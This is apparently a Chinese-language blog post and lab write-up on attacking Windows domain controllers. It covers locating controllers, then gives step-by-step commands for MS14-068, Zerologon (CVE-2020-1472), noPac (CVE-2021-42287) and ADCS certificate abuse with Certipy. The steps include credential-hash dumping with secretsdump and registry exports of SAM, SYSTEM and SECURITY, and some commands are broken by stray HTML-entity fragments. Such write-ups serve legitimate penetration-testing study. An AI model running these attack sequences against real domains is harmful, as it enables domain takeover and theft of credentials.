域控常用攻击手法

发布于 2022-12-16  374 次阅读



域控常用攻击手法

 

快速定位

端口特征

  • 同时开放389和53端口:
端口:389
服务:LDAP、ILS
说明:轻型目录访问协议和NetMeeting Internet Locator Server共用这一端口。
端口:53
服务:Domain Name Server(DNS)
说明:53端口为DNS(Domain Name Server,域名服务器)服务器所开放,主要用于域名解析,DNS服务在NT系统中使用
的最为广泛。通过DNS服务器可以实现域名与IP地址之间的转换,只要记住域名就可以快速访问网站。

扫描定位

  • SPN扫描:

在SPN扫描结果中可以通过OU=Domain Controllers来进行域控的定位。

setspn -q */*

image-20221204114648871

setspn -T fitar.com -q */*

image-20221204114734870

命令查询

  • net group:
net group "domain controllers" /domain

image-20221204113521467

  • net time:
net time /domain

image-20221204113759139

  • ipconfig /all:
ipconfig /all

image-20221204114456652

  • nslookup:
nslookup -type=all _ldap._tcp.dc._msdcs.fitar.com

image-20221204114537557

  • net user:
net user /domain
net group /domain

image-20221204113942089

image-20221204114126631

 

常见漏洞

MS14-068

漏洞类型:域用户提权漏洞

前提:拥有一台域内普通计算机权限,获得普通域用户及其密码/hash值,拥有用户的suid

工具链接:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

复现过程:

  1. 查询当前用户并查询用户权限及SUID
whoami /all

image-20221202160249551

image-20221202160208773

  1. 定位域控,发现域控ip
net "domain admins" /domain

image-20221202160759266

  1. 使用工具伪造证书
MS14-068.exe -u fitar@fitar.com -s S-1-5-21-988819774-1061620987-193502443-2106 -d 192.168.65.137

image-20221202160625107

  1. mimikatz导入票证书:

image-20221202160103403

注:该漏洞在实战中已基本消失

 

CVE-2020-1472

漏洞原理:置空域控哈希

风险:置空后需还原域控哈希,否则导致域控出问题

工具链接:https://github.com/VoidSec/CVE-2020-1472

复现过程:

  1. 查询机器哈希,用来后面恢复和对照(实战中不存在该步骤)
python3 secretsdump.py fitar.com/administrator:1qaz@WSX@192.168.65.137 -just-dc-user "WIN-QPQ4UFAV3RJ

quot;

注:impacket套件secretsdump脚本 域/域管用户:密码@域控ip 查询参数-just-dc-user 域控的机器用户名

image-20221202163558995

  1. 使用脚本进行哈希重置
python3 cve-2020-1472-exploit.py WIN-QPQ4UFAV3RJ 192.168.65.137

注:WIN-QPQ4UFAV3RJ为域控名称 192.168.65.137为域控ip

image-20221202163956880

  1. 再次查看机器哈希(实战中不存在该步骤)

哈希为空密码对应哈希:

image-20221202164037670

  1. 使用空密码哈希查看域管用户哈希
python3 secretsdump.py "fitar.com/WIN-QPQ4UFAV3RJ

quot;@192.168.65.137 -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 -just-dc-user "administrator"

image-20221202164155322

  1. 使用域管哈希进行登录或其他操作

image-20221202165246190

  1. 获取域控原始机器用户哈希

通过导出域控注册表可以获取原始哈希:

python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

注册表导出命令:
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save

image-20221202165833340

  1. 使用工具还原哈希
python3 reinstall_original_pw.py WIN-QPQ4UFAV3RJ 192.168.65.137 52a30bee7de944bcc0077319ab707615

image-20221202170742417

 

CVE-2021-42287

漏洞类型:域用户提权漏洞

工具链接:https://github.com/cube0x0/noPac(机器在域内)

https://github.com/WazeHell/sam-the-admin(机器在域外)

  1. 探测是否存在漏洞
noPac.exe scan -domain fitar.com -user fitar -pass P@ssw0rd

image-20221202171818472

  1. 使用工具创建一个机器账户并生成服务票据
noPac.exe -domain fitar.com -user fitar -pass P@ssw0rd /dc WIN-QPQ4UFAV3RJ /mAccount tempuser /mPassword passW0rd /service cifs /ptt

image-20221202180511797

  1. 查看域控文件

image-20221202180623464

  1. 创建其他服务票据进行更多操作

以ldap服务为例,可以导出所有用户哈希:

image-20221202181341802

 

ADCS证书服务攻击

漏洞原理:通过创建机器账户并修改dNSHostName进行申请证书来提权

前提:在安装了 Active Directory 证书服务 (ADCS) 服务器角色的默认 Active Directory 环境中

image-20221203232150795

工具链接:https://github.com/ly4k/Certipy

  1. 定位证书服务器
  • 方法一
# 该探测命令会弹窗且需确认后回显
certutil -config - -ping

image-20221203234606267

image-20221203234653420

  • 方法二
# 该方法不弹窗
certutil -dump -v

image-20221203234833399

成功获取CA Name和DNS Name:

CA Name:fitar-WIN-QPQ4UFAV3RJ-CA
DNS Name:WIN-QPQ4UFAV3RJ.fitar.com
  1. 添加机器账户,并将该机器账户dnsHostName指向DC[MAQ默认为10]
certipy account create -u fitar@fitar.com -p P@ssw0rd -dc-ip 192.168.65.137 -user machine -pass machine@123 -dns 'WIN-QPQ4UFAV3RJ.fitar.com' -debug

image-20221204121945471

  1. 用该机器账户向ADCS请求证书
certipy req -u 'machine

#39;@fitar.com -p machine@123 -target 192.168.65.137 -ca fitar-WIN-QPQ4UFAV3RJ-CA -template Machine -debug

image-20221204122124889

  1. 用申请的证书请求域控机器账户的TGT
certipy auth -pfx win-qpq4ufav3rj.pfx -dc-ip 192.168.65.137

image-20221204122203042

  1. 用域控机器账户的NT hash导出域内用户哈希
python3 secretsdump.py -hashes :3e6a684e422b96ddd004ae8332ecdfec "fitar.com/WIN-QPQ4UFAV3RJ

quot;@192.168.65.137 -just-dc-user administrator

image-20221204123004046

如果使用certipy请求TGT失败,还可以设置RBCD来攻击,参考:ADCS攻击笔记

 

 

 


人生就像赛跑,不在乎你是否第一个到达终点,而在乎你是否跑完全程。